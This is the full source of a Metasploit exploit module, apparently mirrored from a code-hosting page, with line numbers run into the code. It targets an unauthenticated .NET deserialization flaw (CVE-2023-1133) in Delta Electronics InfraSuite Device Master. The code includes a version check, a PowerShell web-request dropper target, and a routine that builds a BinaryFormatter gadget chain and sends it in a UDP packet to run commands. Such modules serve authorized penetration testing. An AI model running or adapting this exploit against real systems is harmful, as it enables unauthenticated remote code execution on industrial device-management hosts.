Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/delta_electronics_infrasuite_deserialization.rb
Views: 11784
# This module requires Metasploit: https://metasploit.com/download1# Current source: https://github.com/rapid7/metasploit-framework23class MetasploitModule < Msf::Exploit::Remote45Rank = ExcellentRanking67include Msf::Exploit::CmdStager8include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Udp10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Delta Electronics InfraSuite Device Master Deserialization',17'Description' => %q{18Delta Electronics InfraSuite Device Master versions below v1.0.5 have an19unauthenticated .NET deserialization vulnerability within the 'ParseUDPPacket()'20method of the 'Device-Gateway-Status' process.2122The 'ParseUDPPacket()' method reads user-controlled packet data and eventually23calls 'BinaryFormatter.Deserialize()' on what it determines to be the packet header without appropriate validation,24leading to unauthenticated code execution as the user running the 'Device-Gateway-Status' process.25},26'Author' => [27'Anonymous', # Vulnerability discovery28'Shelby Pace' # Metasploit module29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2023-1133'],33['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-672/'],34['URL', 'https://attackerkb.com/topics/owl4Xz8fKW/cve-2023-1133']35],36'Platform' => 'win',37'Privileged' => false,38'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],39'Targets' => [40[41'Windows EXE Dropper',42{43'Arch' => [ARCH_X86, ARCH_X64],44'Type' => :windows_dropper,45'CmdStagerFlavor' => :psh_invokewebrequest46}47],48[49'Windows CMD',50{51'Arch' => [ARCH_CMD],52'Type' => :windows_cmd53}54],55],56'DefaultTarget' => 0,57'DisclosureDate' => '2023-05-17',58'Notes' => {59'Stability' => [CRASH_SAFE],60'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS],61'Reliability' => [REPEATABLE_SESSION]62}63)64)6566register_options([67Opt::RPORT(10100),68OptInt.new('INFRASUITE_PORT', [ true, 'The port on which the InfraSuite Manager is listening', 80 ]),69OptString.new('TARGETURI', [ true, 'The base path to the InfraSuite Manager', '/' ])70])71end7273def check74print_status('Requesting the login page to determine if target is InfraSuite Device Master...')75res = send_request_cgi(76'method' => 'GET',77'rport' => datastore['INFRASUITE_PORT'],78'uri' => normalize_uri(target_uri.path, 'login.html')79)8081return CheckCode::Unknown unless res8283unless res.body.include?('InfraSuite Manager Login')84return CheckCode::Safe('Target does not appear to be InfraSuite Device Master.')85end8687print_status('Target is InfraSuite Device Master. Now attempting to determine version.')88res = send_request_cgi(89'method' => 'GET',90'rport' => datastore['INFRASUITE_PORT'],91'uri' => normalize_uri(target_uri.path, 'js/webcfg.js')92)9394unless res&.body&.include?('var devicemasterCfg')95return CheckCode::Detected('Discovered InfraSuite Device Master, but couldn\'t determine version.')96end9798version = res.body.match(/version:'(\d+(?:\.\d+)+[a-zA-Z]?)'/)99unless version && version.length > 1100return CheckCode::Detected('Failed to find version string')101end102103version = version[1]104vprint_status("Found version '#{version}' of InfraSuite Device Master")105r_vers = Rex::Version.new(version)106107return CheckCode::Appears if r_vers < Rex::Version.new('1.0.5')108109CheckCode::Safe110end111112def exploit113connect_udp114case target['Type']115when :windows_dropper116execute_cmdstager117when :windows_cmd118execute_command(payload.encoded)119end120end121122def execute_command(cmd, _opts = {})123serialized = ::Msf::Util::DotNetDeserialization.generate(124cmd,125gadget_chain: :ClaimsPrincipal,126formatter: :BinaryFormatter127)128129pkt = "\x01#{[ serialized.length ].pack('n')}#{serialized}"130udp_sock.put(pkt)131end132133def cleanup134disconnect_udp135end136end137138139